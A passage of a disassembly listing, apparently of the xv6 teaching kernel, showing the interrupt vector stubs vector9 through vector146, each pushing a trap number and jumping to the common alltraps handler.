jmp 8010544d <alltraps> 80105933 <vector9>: .globl vector9 vector9: pushl $0 80105933: 6a 00 push $0x0 pushl $9 80105935: 6a 09 push $0x9 jmp alltraps 80105937: e9 11 fb ff ff jmp 8010544d <alltraps> 8010593c <vector10>: .globl vector10 vector10: pushl $10 8010593c: 6a 0a push $0xa jmp alltraps 8010593e: e9 0a fb ff ff jmp 8010544d <alltraps> 80105943 <vector11>: .globl vector11 vector11: pushl $11 80105943: 6a 0b push $0xb jmp alltraps 80105945: e9 03 fb ff ff jmp 8010544d <alltraps> 8010594a <vector12>: .globl vector12 vector12: pushl $12 8010594a: 6a 0c push $0xc jmp alltraps 8010594c: e9 fc fa ff ff jmp 8010544d <alltraps> 80105951 <vector13>: .globl vector13 vector13: pushl $13 80105951: 6a 0d push $0xd jmp alltraps 80105953: e9 f5 fa ff ff jmp 8010544d <alltraps> 80105958 <vector14>: .globl vector14 vector14: pushl $14 80105958: 6a 0e push $0xe jmp alltraps 8010595a: e9 ee fa ff ff jmp 8010544d <alltraps> 8010595f <vector15>: .globl vector15 vector15: pushl $0 8010595f: 6a 00 push $0x0 pushl $15 80105961: 6a 0f push $0xf jmp alltraps 80105963: e9 e5 fa ff ff jmp 8010544d <alltraps> 80105968 <vector16>: .globl vector16 vector16: pushl $0 80105968: 6a 00 push $0x0 pushl $16 8010596a: 6a 10 push $0x10 jmp alltraps 8010596c: e9 dc fa ff ff jmp 8010544d <alltraps> 80105971 <vector17>: .globl vector17 vector17: pushl $17 80105971: 6a 11 push $0x11 jmp alltraps 80105973: e9 d5 fa ff ff jmp 8010544d <alltraps> 80105978 <vector18>: .globl vector18 vector18: pushl $0 80105978: 6a 00 push $0x0 pushl $18 8010597a: 6a 12 push $0x12 jmp alltraps 8010597c: e9 cc fa ff ff jmp 8010544d <alltraps> 80105981 <vector19>: .globl vector19 vector19: pushl $0 80105981: 6a 00 push $0x0 pushl $19 80105983: 6a 13 push $0x13 jmp alltraps 80105985: e9 c3 fa ff ff jmp 8010544d <alltraps> 8010598a <vector20>: .globl vector20 vector20: pushl $0 8010598a: 6a 00 push $0x0 pushl $20 8010598c: 6a 14 push $0x14 jmp alltraps 8010598e: e9 ba fa ff ff jmp 8010544d <alltraps> 80105993 <vector21>: .globl vector21 vector21: pushl $0 80105993: 6a 00 push $0x0 pushl $21 80105995: 6a 15 push $0x15 jmp alltraps 80105997: e9 b1 fa ff ff jmp 8010544d <alltraps> 8010599c <vector22>: .globl vector22 vector22: pushl $0 8010599c: 6a 00 push $0x0 pushl $22 8010599e: 6a 16 push $0x16 jmp alltraps 801059a0: e9 a8 fa ff ff jmp 8010544d <alltraps> 801059a5 <vector23>: .globl vector23 vector23: pushl $0 801059a5: 6a 00 push $0x0 pushl $23 801059a7: 6a 17 push $0x17 jmp alltraps 801059a9: e9 9f fa ff ff jmp 8010544d <alltraps> 801059ae <vector24>: .globl vector24 vector24: pushl $0 801059ae: 6a 00 push $0x0 pushl $24 801059b0: 6a 18 push $0x18 jmp alltraps 801059b2: e9 96 fa ff ff jmp 8010544d <alltraps> 801059b7 <vector25>: .globl vector25 vector25: pushl $0 801059b7: 6a 00 push $0x0 pushl $25 801059b9: 6a 19 push $0x19 jmp alltraps 801059bb: e9 8d fa ff ff jmp 8010544d <alltraps> 801059c0 <vector26>: .globl vector26 vector26: pushl $0 801059c0: 6a 00 push $0x0 pushl $26 801059c2: 6a 1a push $0x1a jmp alltraps 801059c4: e9 84 fa ff ff jmp 8010544d <alltraps> 801059c9 <vector27>: .globl vector27 vector27: pushl $0 801059c9: 6a 00 push $0x0 pushl $27 801059cb: 6a 1b push $0x1b jmp alltraps 801059cd: e9 7b fa ff ff jmp 8010544d <alltraps> 801059d2 <vector28>: .globl vector28 vector28: pushl $0 801059d2: 6a 00 push $0x0 pushl $28 801059d4: 6a 1c push $0x1c jmp alltraps 801059d6: e9 72 fa ff ff jmp 8010544d <alltraps> 801059db <vector29>: .globl vector29 vector29: pushl $0 801059db: 6a 00 push $0x0 pushl $29 801059dd: 6a 1d push $0x1d jmp alltraps 801059df: e9 69 fa ff ff jmp 8010544d <alltraps> 801059e4 <vector30>: .globl vector30 vector30: pushl $0 801059e4: 6a 00 push $0x0 pushl $30 801059e6: 6a 1e push $0x1e jmp alltraps 801059e8: e9 60 fa ff ff jmp 8010544d <alltraps> 801059ed <vector31>: .globl vector31 vector31: pushl $0 801059ed: 6a 00 push $0x0 pushl $31 801059ef: 6a 1f push $0x1f jmp alltraps 801059f1: e9 57 fa ff ff jmp 8010544d <alltraps> 801059f6 <vector32>: .globl vector32 vector32: pushl $0 801059f6: 6a 00 push $0x0 pushl $32 801059f8: 6a 20 push $0x20 jmp alltraps 801059fa: e9 4e fa ff ff jmp 8010544d <alltraps> 801059ff <vector33>: .globl vector33 vector33: pushl $0 801059ff: 6a 00 push $0x0 pushl $33 80105a01: 6a 21 push $0x21 jmp alltraps 80105a03: e9 45 fa ff ff jmp 8010544d <alltraps> 80105a08 <vector34>: .globl vector34 vector34: pushl $0 80105a08: 6a 00 push $0x0 pushl $34 80105a0a: 6a 22 push $0x22 jmp alltraps 80105a0c: e9 3c fa ff ff jmp 8010544d <alltraps> 80105a11 <vector35>: .globl vector35 vector35: pushl $0 80105a11: 6a 00 push $0x0 pushl $35 80105a13: 6a 23 push $0x23 jmp alltraps 80105a15: e9 33 fa ff ff jmp 8010544d <alltraps> 80105a1a <vector36>: .globl vector36 vector36: pushl $0 80105a1a: 6a 00 push $0x0 pushl $36 80105a1c: 6a 24 push $0x24 jmp alltraps 80105a1e: e9 2a fa ff ff jmp 8010544d <alltraps> 80105a23 <vector37>: .globl vector37 vector37: pushl $0 80105a23: 6a 00 push $0x0 pushl $37 80105a25: 6a 25 push $0x25 jmp alltraps 80105a27: e9 21 fa ff ff jmp 8010544d <alltraps> 80105a2c <vector38>: .globl vector38 vector38: pushl $0 80105a2c: 6a 00 push $0x0 pushl $38 80105a2e: 6a 26 push $0x26 jmp alltraps 80105a30: e9 18 fa ff ff jmp 8010544d <alltraps> 80105a35 <vector39>: .globl vector39 vector39: pushl $0 80105a35: 6a 00 push $0x0 pushl $39 80105a37: 6a 27 push $0x27 jmp alltraps 80105a39: e9 0f fa ff ff jmp 8010544d <alltraps> 80105a3e <vector40>: .globl vector40 vector40: pushl $0 80105a3e: 6a 00 push $0x0 pushl $40 80105a40: 6a 28 push $0x28 jmp alltraps 80105a42: e9 06 fa ff ff jmp 8010544d <alltraps> 80105a47 <vector41>: .globl vector41 vector41: pushl $0 80105a47: 6a 00 push $0x0 pushl $41 80105a49: 6a 29 push $0x29 jmp alltraps 80105a4b: e9 fd f9 ff ff jmp 8010544d <alltraps> 80105a50 <vector42>: .globl vector42 vector42: pushl $0 80105a50: 6a 00 push $0x0 pushl $42 80105a52: 6a 2a push $0x2a jmp alltraps 80105a54: e9 f4 f9 ff ff jmp 8010544d <alltraps> 80105a59 <vector43>: .globl vector43 vector43: pushl $0 80105a59: 6a 00 push $0x0 pushl $43 80105a5b: 6a 2b push $0x2b jmp alltraps 80105a5d: e9 eb f9 ff ff jmp 8010544d <alltraps> 80105a62 <vector44>: .globl vector44 vector44: pushl $0 80105a62: 6a 00 push $0x0 pushl $44 80105a64: 6a 2c push $0x2c jmp alltraps 80105a66: e9 e2 f9 ff ff jmp 8010544d <alltraps> 80105a6b <vector45>: .globl vector45 vector45: pushl $0 80105a6b: 6a 00 push $0x0 pushl $45 80105a6d: 6a 2d push $0x2d jmp alltraps 80105a6f: e9 d9 f9 ff ff jmp 8010544d <alltraps> 80105a74 <vector46>: .globl vector46 vector46: pushl $0 80105a74: 6a 00 push $0x0 pushl $46 80105a76: 6a 2e push $0x2e jmp alltraps 80105a78: e9 d0 f9 ff ff jmp 8010544d <alltraps> 80105a7d <vector47>: .globl vector47 vector47: pushl $0 80105a7d: 6a 00 push $0x0 pushl $47 80105a7f: 6a 2f push $0x2f jmp alltraps 80105a81: e9 c7 f9 ff ff jmp 8010544d <alltraps> 80105a86 <vector48>: .globl vector48 vector48: pushl $0 80105a86: 6a 00 push $0x0 pushl $48 80105a88: 6a 30 push $0x30 jmp alltraps 80105a8a: e9 be f9 ff ff jmp 8010544d <alltraps> 80105a8f <vector49>: .globl vector49 vector49: pushl $0 80105a8f: 6a 00 push $0x0 pushl $49 80105a91: 6a 31 push $0x31 jmp alltraps 80105a93: e9 b5 f9 ff ff jmp 8010544d <alltraps> 80105a98 <vector50>: .globl vector50 vector50: pushl $0 80105a98: 6a 00 push $0x0 pushl $50 80105a9a: 6a 32 push $0x32 jmp alltraps 80105a9c: e9 ac f9 ff ff jmp 8010544d <alltraps> 80105aa1 <vector51>: .globl vector51 vector51: pushl $0 80105aa1: 6a 00 push $0x0 pushl $51 80105aa3: 6a 33 push $0x33 jmp alltraps 80105aa5: e9 a3 f9 ff ff jmp 8010544d <alltraps> 80105aaa <vector52>: .globl vector52 vector52: pushl $0 80105aaa: 6a 00 push $0x0 pushl $52 80105aac: 6a 34 push $0x34 jmp alltraps 80105aae: e9 9a f9 ff ff jmp 8010544d <alltraps> 80105ab3 <vector53>: .globl vector53 vector53: pushl $0 80105ab3: 6a 00 push $0x0 pushl $53 80105ab5: 6a 35 push $0x35 jmp alltraps 80105ab7: e9 91 f9 ff ff jmp 8010544d <alltraps> 80105abc <vector54>: .globl vector54 vector54: pushl $0 80105abc: 6a 00 push $0x0 pushl $54 80105abe: 6a 36 push $0x36 jmp alltraps 80105ac0: e9 88 f9 ff ff jmp 8010544d <alltraps> 80105ac5 <vector55>: .globl vector55 vector55: pushl $0 80105ac5: 6a 00 push $0x0 pushl $55 80105ac7: 6a 37 push $0x37 jmp alltraps 80105ac9: e9 7f f9 ff ff jmp 8010544d <alltraps> 80105ace <vector56>: .globl vector56 vector56: pushl $0 80105ace: 6a 00 push $0x0 pushl $56 80105ad0: 6a 38 push $0x38 jmp alltraps 80105ad2: e9 76 f9 ff ff jmp 8010544d <alltraps> 80105ad7 <vector57>: .globl vector57 vector57: pushl $0 80105ad7: 6a 00 push $0x0 pushl $57 80105ad9: 6a 39 push $0x39 jmp alltraps 80105adb: e9 6d f9 ff ff jmp 8010544d <alltraps> 80105ae0 <vector58>: .globl vector58 vector58: pushl $0 80105ae0: 6a 00 push $0x0 pushl $58 80105ae2: 6a 3a push $0x3a jmp alltraps 80105ae4: e9 64 f9 ff ff jmp 8010544d <alltraps> 80105ae9 <vector59>: .globl vector59 vector59: pushl $0 80105ae9: 6a 00 push $0x0 pushl $59 80105aeb: 6a 3b push $0x3b jmp alltraps 80105aed: e9 5b f9 ff ff jmp 8010544d <alltraps> 80105af2 <vector60>: .globl vector60 vector60: pushl $0 80105af2: 6a 00 push $0x0 pushl $60 80105af4: 6a 3c push $0x3c jmp alltraps 80105af6: e9 52 f9 ff ff jmp 8010544d <alltraps> 80105afb <vector61>: .globl vector61 vector61: pushl $0 80105afb: 6a 00 push $0x0 pushl $61 80105afd: 6a 3d push $0x3d jmp alltraps 80105aff: e9 49 f9 ff ff jmp 8010544d <alltraps> 80105b04 <vector62>: .globl vector62 vector62: pushl $0 80105b04: 6a 00 push $0x0 pushl $62 80105b06: 6a 3e push $0x3e jmp alltraps 80105b08: e9 40 f9 ff ff jmp 8010544d <alltraps> 80105b0d <vector63>: .globl vector63 vector63: pushl $0 80105b0d: 6a 00 push $0x0 pushl $63 80105b0f: 6a 3f push $0x3f jmp alltraps 80105b11: e9 37 f9 ff ff jmp 8010544d <alltraps> 80105b16 <vector64>: .globl vector64 vector64: pushl $0 80105b16: 6a 00 push $0x0 pushl $64 80105b18: 6a 40 push $0x40 jmp alltraps 80105b1a: e9 2e f9 ff ff jmp 8010544d <alltraps> 80105b1f <vector65>: .globl vector65 vector65: pushl $0 80105b1f: 6a 00 push $0x0 pushl $65 80105b21: 6a 41 push $0x41 jmp alltraps 80105b23: e9 25 f9 ff ff jmp 8010544d <alltraps> 80105b28 <vector66>: .globl vector66 vector66: pushl $0 80105b28: 6a 00 push $0x0 pushl $66 80105b2a: 6a 42 push $0x42 jmp alltraps 80105b2c: e9 1c f9 ff ff jmp 8010544d <alltraps> 80105b31 <vector67>: .globl vector67 vector67: pushl $0 80105b31: 6a 00 push $0x0 pushl $67 80105b33: 6a 43 push $0x43 jmp alltraps 80105b35: e9 13 f9 ff ff jmp 8010544d <alltraps> 80105b3a <vector68>: .globl vector68 vector68: pushl $0 80105b3a: 6a 00 push $0x0 pushl $68 80105b3c: 6a 44 push $0x44 jmp alltraps 80105b3e: e9 0a f9 ff ff jmp 8010544d <alltraps> 80105b43 <vector69>: .globl vector69 vector69: pushl $0 80105b43: 6a 00 push $0x0 pushl $69 80105b45: 6a 45 push $0x45 jmp alltraps 80105b47: e9 01 f9 ff ff jmp 8010544d <alltraps> 80105b4c <vector70>: .globl vector70 vector70: pushl $0 80105b4c: 6a 00 push $0x0 pushl $70 80105b4e: 6a 46 push $0x46 jmp alltraps 80105b50: e9 f8 f8 ff ff jmp 8010544d <alltraps> 80105b55 <vector71>: .globl vector71 vector71: pushl $0 80105b55: 6a 00 push $0x0 pushl $71 80105b57: 6a 47 push $0x47 jmp alltraps 80105b59: e9 ef f8 ff ff jmp 8010544d <alltraps> 80105b5e <vector72>: .globl vector72 vector72: pushl $0 80105b5e: 6a 00 push $0x0 pushl $72 80105b60: 6a 48 push $0x48 jmp alltraps 80105b62: e9 e6 f8 ff ff jmp 8010544d <alltraps> 80105b67 <vector73>: .globl vector73 vector73: pushl $0 80105b67: 6a 00 push $0x0 pushl $73 80105b69: 6a 49 push $0x49 jmp alltraps 80105b6b: e9 dd f8 ff ff jmp 8010544d <alltraps> 80105b70 <vector74>: .globl vector74 vector74: pushl $0 80105b70: 6a 00 push $0x0 pushl $74 80105b72: 6a 4a push $0x4a jmp alltraps 80105b74: e9 d4 f8 ff ff jmp 8010544d <alltraps> 80105b79 <vector75>: .globl vector75 vector75: pushl $0 80105b79: 6a 00 push $0x0 pushl $75 80105b7b: 6a 4b push $0x4b jmp alltraps 80105b7d: e9 cb f8 ff ff jmp 8010544d <alltraps> 80105b82 <vector76>: .globl vector76 vector76: pushl $0 80105b82: 6a 00 push $0x0 pushl $76 80105b84: 6a 4c push $0x4c jmp alltraps 80105b86: e9 c2 f8 ff ff jmp 8010544d <alltraps> 80105b8b <vector77>: .globl vector77 vector77: pushl $0 80105b8b: 6a 00 push $0x0 pushl $77 80105b8d: 6a 4d push $0x4d jmp alltraps 80105b8f: e9 b9 f8 ff ff jmp 8010544d <alltraps> 80105b94 <vector78>: .globl vector78 vector78: pushl $0 80105b94: 6a 00 push $0x0 pushl $78 80105b96: 6a 4e push $0x4e jmp alltraps 80105b98: e9 b0 f8 ff ff jmp 8010544d <alltraps> 80105b9d <vector79>: .globl vector79 vector79: pushl $0 80105b9d: 6a 00 push $0x0 pushl $79 80105b9f: 6a 4f push $0x4f jmp alltraps 80105ba1: e9 a7 f8 ff ff jmp 8010544d <alltraps> 80105ba6 <vector80>: .globl vector80 vector80: pushl $0 80105ba6: 6a 00 push $0x0 pushl $80 80105ba8: 6a 50 push $0x50 jmp alltraps 80105baa: e9 9e f8 ff ff jmp 8010544d <alltraps> 80105baf <vector81>: .globl vector81 vector81: pushl $0 80105baf: 6a 00 push $0x0 pushl $81 80105bb1: 6a 51 push $0x51 jmp alltraps 80105bb3: e9 95 f8 ff ff jmp 8010544d <alltraps> 80105bb8 <vector82>: .globl vector82 vector82: pushl $0 80105bb8: 6a 00 push $0x0 pushl $82 80105bba: 6a 52 push $0x52 jmp alltraps 80105bbc: e9 8c f8 ff ff jmp 8010544d <alltraps> 80105bc1 <vector83>: .globl vector83 vector83: pushl $0 80105bc1: 6a 00 push $0x0 pushl $83 80105bc3: 6a 53 push $0x53 jmp alltraps 80105bc5: e9 83 f8 ff ff jmp 8010544d <alltraps> 80105bca <vector84>: .globl vector84 vector84: pushl $0 80105bca: 6a 00 push $0x0 pushl $84 80105bcc: 6a 54 push $0x54 jmp alltraps 80105bce: e9 7a f8 ff ff jmp 8010544d <alltraps> 80105bd3 <vector85>: .globl vector85 vector85: pushl $0 80105bd3: 6a 00 push $0x0 pushl $85 80105bd5: 6a 55 push $0x55 jmp alltraps 80105bd7: e9 71 f8 ff ff jmp 8010544d <alltraps> 80105bdc <vector86>: .globl vector86 vector86: pushl $0 80105bdc: 6a 00 push $0x0 pushl $86 80105bde: 6a 56 push $0x56 jmp alltraps 80105be0: e9 68 f8 ff ff jmp 8010544d <alltraps> 80105be5 <vector87>: .globl vector87 vector87: pushl $0 80105be5: 6a 00 push $0x0 pushl $87 80105be7: 6a 57 push $0x57 jmp alltraps 80105be9: e9 5f f8 ff ff jmp 8010544d <alltraps> 80105bee <vector88>: .globl vector88 vector88: pushl $0 80105bee: 6a 00 push $0x0 pushl $88 80105bf0: 6a 58 push $0x58 jmp alltraps 80105bf2: e9 56 f8 ff ff jmp 8010544d <alltraps> 80105bf7 <vector89>: .globl vector89 vector89: pushl $0 80105bf7: 6a 00 push $0x0 pushl $89 80105bf9: 6a 59 push $0x59 jmp alltraps 80105bfb: e9 4d f8 ff ff jmp 8010544d <alltraps> 80105c00 <vector90>: .globl vector90 vector90: pushl $0 80105c00: 6a 00 push $0x0 pushl $90 80105c02: 6a 5a push $0x5a jmp alltraps 80105c04: e9 44 f8 ff ff jmp 8010544d <alltraps> 80105c09 <vector91>: .globl vector91 vector91: pushl $0 80105c09: 6a 00 push $0x0 pushl $91 80105c0b: 6a 5b push $0x5b jmp alltraps 80105c0d: e9 3b f8 ff ff jmp 8010544d <alltraps> 80105c12 <vector92>: .globl vector92 vector92: pushl $0 80105c12: 6a 00 push $0x0 pushl $92 80105c14: 6a 5c push $0x5c jmp alltraps 80105c16: e9 32 f8 ff ff jmp 8010544d <alltraps> 80105c1b <vector93>: .globl vector93 vector93: pushl $0 80105c1b: 6a 00 push $0x0 pushl $93 80105c1d: 6a 5d push $0x5d jmp alltraps 80105c1f: e9 29 f8 ff ff jmp 8010544d <alltraps> 80105c24 <vector94>: .globl vector94 vector94: pushl $0 80105c24: 6a 00 push $0x0 pushl $94 80105c26: 6a 5e push $0x5e jmp alltraps 80105c28: e9 20 f8 ff ff jmp 8010544d <alltraps> 80105c2d <vector95>: .globl vector95 vector95: pushl $0 80105c2d: 6a 00 push $0x0 pushl $95 80105c2f: 6a 5f push $0x5f jmp alltraps 80105c31: e9 17 f8 ff ff jmp 8010544d <alltraps> 80105c36 <vector96>: .globl vector96 vector96: pushl $0 80105c36: 6a 00 push $0x0 pushl $96 80105c38: 6a 60 push $0x60 jmp alltraps 80105c3a: e9 0e f8 ff ff jmp 8010544d <alltraps> 80105c3f <vector97>: .globl vector97 vector97: pushl $0 80105c3f: 6a 00 push $0x0 pushl $97 80105c41: 6a 61 push $0x61 jmp alltraps 80105c43: e9 05 f8 ff ff jmp 8010544d <alltraps> 80105c48 <vector98>: .globl vector98 vector98: pushl $0 80105c48: 6a 00 push $0x0 pushl $98 80105c4a: 6a 62 push $0x62 jmp alltraps 80105c4c: e9 fc f7 ff ff jmp 8010544d <alltraps> 80105c51 <vector99>: .globl vector99 vector99: pushl $0 80105c51: 6a 00 push $0x0 pushl $99 80105c53: 6a 63 push $0x63 jmp alltraps 80105c55: e9 f3 f7 ff ff jmp 8010544d <alltraps> 80105c5a <vector100>: .globl vector100 vector100: pushl $0 80105c5a: 6a 00 push $0x0 pushl $100 80105c5c: 6a 64 push $0x64 jmp alltraps 80105c5e: e9 ea f7 ff ff jmp 8010544d <alltraps> 80105c63 <vector101>: .globl vector101 vector101: pushl $0 80105c63: 6a 00 push $0x0 pushl $101 80105c65: 6a 65 push $0x65 jmp alltraps 80105c67: e9 e1 f7 ff ff jmp 8010544d <alltraps> 80105c6c <vector102>: .globl vector102 vector102: pushl $0 80105c6c: 6a 00 push $0x0 pushl $102 80105c6e: 6a 66 push $0x66 jmp alltraps 80105c70: e9 d8 f7 ff ff jmp 8010544d <alltraps> 80105c75 <vector103>: .globl vector103 vector103: pushl $0 80105c75: 6a 00 push $0x0 pushl $103 80105c77: 6a 67 push $0x67 jmp alltraps 80105c79: e9 cf f7 ff ff jmp 8010544d <alltraps> 80105c7e <vector104>: .globl vector104 vector104: pushl $0 80105c7e: 6a 00 push $0x0 pushl $104 80105c80: 6a 68 push $0x68 jmp alltraps 80105c82: e9 c6 f7 ff ff jmp 8010544d <alltraps> 80105c87 <vector105>: .globl vector105 vector105: pushl $0 80105c87: 6a 00 push $0x0 pushl $105 80105c89: 6a 69 push $0x69 jmp alltraps 80105c8b: e9 bd f7 ff ff jmp 8010544d <alltraps> 80105c90 <vector106>: .globl vector106 vector106: pushl $0 80105c90: 6a 00 push $0x0 pushl $106 80105c92: 6a 6a push $0x6a jmp alltraps 80105c94: e9 b4 f7 ff ff jmp 8010544d <alltraps> 80105c99 <vector107>: .globl vector107 vector107: pushl $0 80105c99: 6a 00 push $0x0 pushl $107 80105c9b: 6a 6b push $0x6b jmp alltraps 80105c9d: e9 ab f7 ff ff jmp 8010544d <alltraps> 80105ca2 <vector108>: .globl vector108 vector108: pushl $0 80105ca2: 6a 00 push $0x0 pushl $108 80105ca4: 6a 6c push $0x6c jmp alltraps 80105ca6: e9 a2 f7 ff ff jmp 8010544d <alltraps> 80105cab <vector109>: .globl vector109 vector109: pushl $0 80105cab: 6a 00 push $0x0 pushl $109 80105cad: 6a 6d push $0x6d jmp alltraps 80105caf: e9 99 f7 ff ff jmp 8010544d <alltraps> 80105cb4 <vector110>: .globl vector110 vector110: pushl $0 80105cb4: 6a 00 push $0x0 pushl $110 80105cb6: 6a 6e push $0x6e jmp alltraps 80105cb8: e9 90 f7 ff ff jmp 8010544d <alltraps> 80105cbd <vector111>: .globl vector111 vector111: pushl $0 80105cbd: 6a 00 push $0x0 pushl $111 80105cbf: 6a 6f push $0x6f jmp alltraps 80105cc1: e9 87 f7 ff ff jmp 8010544d <alltraps> 80105cc6 <vector112>: .globl vector112 vector112: pushl $0 80105cc6: 6a 00 push $0x0 pushl $112 80105cc8: 6a 70 push $0x70 jmp alltraps 80105cca: e9 7e f7 ff ff jmp 8010544d <alltraps> 80105ccf <vector113>: .globl vector113 vector113: pushl $0 80105ccf: 6a 00 push $0x0 pushl $113 80105cd1: 6a 71 push $0x71 jmp alltraps 80105cd3: e9 75 f7 ff ff jmp 8010544d <alltraps> 80105cd8 <vector114>: .globl vector114 vector114: pushl $0 80105cd8: 6a 00 push $0x0 pushl $114 80105cda: 6a 72 push $0x72 jmp alltraps 80105cdc: e9 6c f7 ff ff jmp 8010544d <alltraps> 80105ce1 <vector115>: .globl vector115 vector115: pushl $0 80105ce1: 6a 00 push $0x0 pushl $115 80105ce3: 6a 73 push $0x73 jmp alltraps 80105ce5: e9 63 f7 ff ff jmp 8010544d <alltraps> 80105cea <vector116>: .globl vector116 vector116: pushl $0 80105cea: 6a 00 push $0x0 pushl $116 80105cec: 6a 74 push $0x74 jmp alltraps 80105cee: e9 5a f7 ff ff jmp 8010544d <alltraps> 80105cf3 <vector117>: .globl vector117 vector117: pushl $0 80105cf3: 6a 00 push $0x0 pushl $117 80105cf5: 6a 75 push $0x75 jmp alltraps 80105cf7: e9 51 f7 ff ff jmp 8010544d <alltraps> 80105cfc <vector118>: .globl vector118 vector118: pushl $0 80105cfc: 6a 00 push $0x0 pushl $118 80105cfe: 6a 76 push $0x76 jmp alltraps 80105d00: e9 48 f7 ff ff jmp 8010544d <alltraps> 80105d05 <vector119>: .globl vector119 vector119: pushl $0 80105d05: 6a 00 push $0x0 pushl $119 80105d07: 6a 77 push $0x77 jmp alltraps 80105d09: e9 3f f7 ff ff jmp 8010544d <alltraps> 80105d0e <vector120>: .globl vector120 vector120: pushl $0 80105d0e: 6a 00 push $0x0 pushl $120 80105d10: 6a 78 push $0x78 jmp alltraps 80105d12: e9 36 f7 ff ff jmp 8010544d <alltraps> 80105d17 <vector121>: .globl vector121 vector121: pushl $0 80105d17: 6a 00 push $0x0 pushl $121 80105d19: 6a 79 push $0x79 jmp alltraps 80105d1b: e9 2d f7 ff ff jmp 8010544d <alltraps> 80105d20 <vector122>: .globl vector122 vector122: pushl $0 80105d20: 6a 00 push $0x0 pushl $122 80105d22: 6a 7a push $0x7a jmp alltraps 80105d24: e9 24 f7 ff ff jmp 8010544d <alltraps> 80105d29 <vector123>: .globl vector123 vector123: pushl $0 80105d29: 6a 00 push $0x0 pushl $123 80105d2b: 6a 7b push $0x7b jmp alltraps 80105d2d: e9 1b f7 ff ff jmp 8010544d <alltraps> 80105d32 <vector124>: .globl vector124 vector124: pushl $0 80105d32: 6a 00 push $0x0 pushl $124 80105d34: 6a 7c push $0x7c jmp alltraps 80105d36: e9 12 f7 ff ff jmp 8010544d <alltraps> 80105d3b <vector125>: .globl vector125 vector125: pushl $0 80105d3b: 6a 00 push $0x0 pushl $125 80105d3d: 6a 7d push $0x7d jmp alltraps 80105d3f: e9 09 f7 ff ff jmp 8010544d <alltraps> 80105d44 <vector126>: .globl vector126 vector126: pushl $0 80105d44: 6a 00 push $0x0 pushl $126 80105d46: 6a 7e push $0x7e jmp alltraps 80105d48: e9 00 f7 ff ff jmp 8010544d <alltraps> 80105d4d <vector127>: .globl vector127 vector127: pushl $0 80105d4d: 6a 00 push $0x0 pushl $127 80105d4f: 6a 7f push $0x7f jmp alltraps 80105d51: e9 f7 f6 ff ff jmp 8010544d <alltraps> 80105d56 <vector128>: .globl vector128 vector128: pushl $0 80105d56: 6a 00 push $0x0 pushl $128 80105d58: 68 80 00 00 00 push $0x80 jmp alltraps 80105d5d: e9 eb f6 ff ff jmp 8010544d <alltraps> 80105d62 <vector129>: .globl vector129 vector129: pushl $0 80105d62: 6a 00 push $0x0 pushl $129 80105d64: 68 81 00 00 00 push $0x81 jmp alltraps 80105d69: e9 df f6 ff ff jmp 8010544d <alltraps> 80105d6e <vector130>: .globl vector130 vector130: pushl $0 80105d6e: 6a 00 push $0x0 pushl $130 80105d70: 68 82 00 00 00 push $0x82 jmp alltraps 80105d75: e9 d3 f6 ff ff jmp 8010544d <alltraps> 80105d7a <vector131>: .globl vector131 vector131: pushl $0 80105d7a: 6a 00 push $0x0 pushl $131 80105d7c: 68 83 00 00 00 push $0x83 jmp alltraps 80105d81: e9 c7 f6 ff ff jmp 8010544d <alltraps> 80105d86 <vector132>: .globl vector132 vector132: pushl $0 80105d86: 6a 00 push $0x0 pushl $132 80105d88: 68 84 00 00 00 push $0x84 jmp alltraps 80105d8d: e9 bb f6 ff ff jmp 8010544d <alltraps> 80105d92 <vector133>: .globl vector133 vector133: pushl $0 80105d92: 6a 00 push $0x0 pushl $133 80105d94: 68 85 00 00 00 push $0x85 jmp alltraps 80105d99: e9 af f6 ff ff jmp 8010544d <alltraps> 80105d9e <vector134>: .globl vector134 vector134: pushl $0 80105d9e: 6a 00 push $0x0 pushl $134 80105da0: 68 86 00 00 00 push $0x86 jmp alltraps 80105da5: e9 a3 f6 ff ff jmp 8010544d <alltraps> 80105daa <vector135>: .globl vector135 vector135: pushl $0 80105daa: 6a 00 push $0x0 pushl $135 80105dac: 68 87 00 00 00 push $0x87 jmp alltraps 80105db1: e9 97 f6 ff ff jmp 8010544d <alltraps> 80105db6 <vector136>: .globl vector136 vector136: pushl $0 80105db6: 6a 00 push $0x0 pushl $136 80105db8: 68 88 00 00 00 push $0x88 jmp alltraps 80105dbd: e9 8b f6 ff ff jmp 8010544d <alltraps> 80105dc2 <vector137>: .globl vector137 vector137: pushl $0 80105dc2: 6a 00 push $0x0 pushl $137 80105dc4: 68 89 00 00 00 push $0x89 jmp alltraps 80105dc9: e9 7f f6 ff ff jmp 8010544d <alltraps> 80105dce <vector138>: .globl vector138 vector138: pushl $0 80105dce: 6a 00 push $0x0 pushl $138 80105dd0: 68 8a 00 00 00 push $0x8a jmp alltraps 80105dd5: e9 73 f6 ff ff jmp 8010544d <alltraps> 80105dda <vector139>: .globl vector139 vector139: pushl $0 80105dda: 6a 00 push $0x0 pushl $139 80105ddc: 68 8b 00 00 00 push $0x8b jmp alltraps 80105de1: e9 67 f6 ff ff jmp 8010544d <alltraps> 80105de6 <vector140>: .globl vector140 vector140: pushl $0 80105de6: 6a 00 push $0x0 pushl $140 80105de8: 68 8c 00 00 00 push $0x8c jmp alltraps 80105ded: e9 5b f6 ff ff jmp 8010544d <alltraps> 80105df2 <vector141>: .globl vector141 vector141: pushl $0 80105df2: 6a 00 push $0x0 pushl $141 80105df4: 68 8d 00 00 00 push $0x8d jmp alltraps 80105df9: e9 4f f6 ff ff jmp 8010544d <alltraps> 80105dfe <vector142>: .globl vector142 vector142: pushl $0 80105dfe: 6a 00 push $0x0 pushl $142 80105e00: 68 8e 00 00 00 push $0x8e jmp alltraps 80105e05: e9 43 f6 ff ff jmp 8010544d <alltraps> 80105e0a <vector143>: .globl vector143 vector143: pushl $0 80105e0a: 6a 00 push $0x0 pushl $143 80105e0c: 68 8f 00 00 00 push $0x8f jmp alltraps 80105e11: e9 37 f6 ff ff jmp 8010544d <alltraps> 80105e16 <vector144>: .globl vector144 vector144: pushl $0 80105e16: 6a 00 push $0x0 pushl $144 80105e18: 68 90 00 00 00 push $0x90 jmp alltraps 80105e1d: e9 2b f6 ff ff jmp 8010544d <alltraps> 80105e22 <vector145>: .globl vector145 vector145: pushl $0 80105e22: 6a 00 push $0x0 pushl $145 80105e24: 68 91 00 00 00 push $0x91 jmp alltraps 80105e29: e9 1f f6 ff ff jmp 8010544d <alltraps> 80105e2e <vector146>: .globl vector146 vector146: pushl $0 80105e2e: 6a 00 push $0x0 pushl $146 80105e30: 68 92 00 00 00 push $0x92 jmp alltraps 80105e35: e9 13 f6 ff ff jmp 8010544d <alltraps> 80105e3a <vector147>: 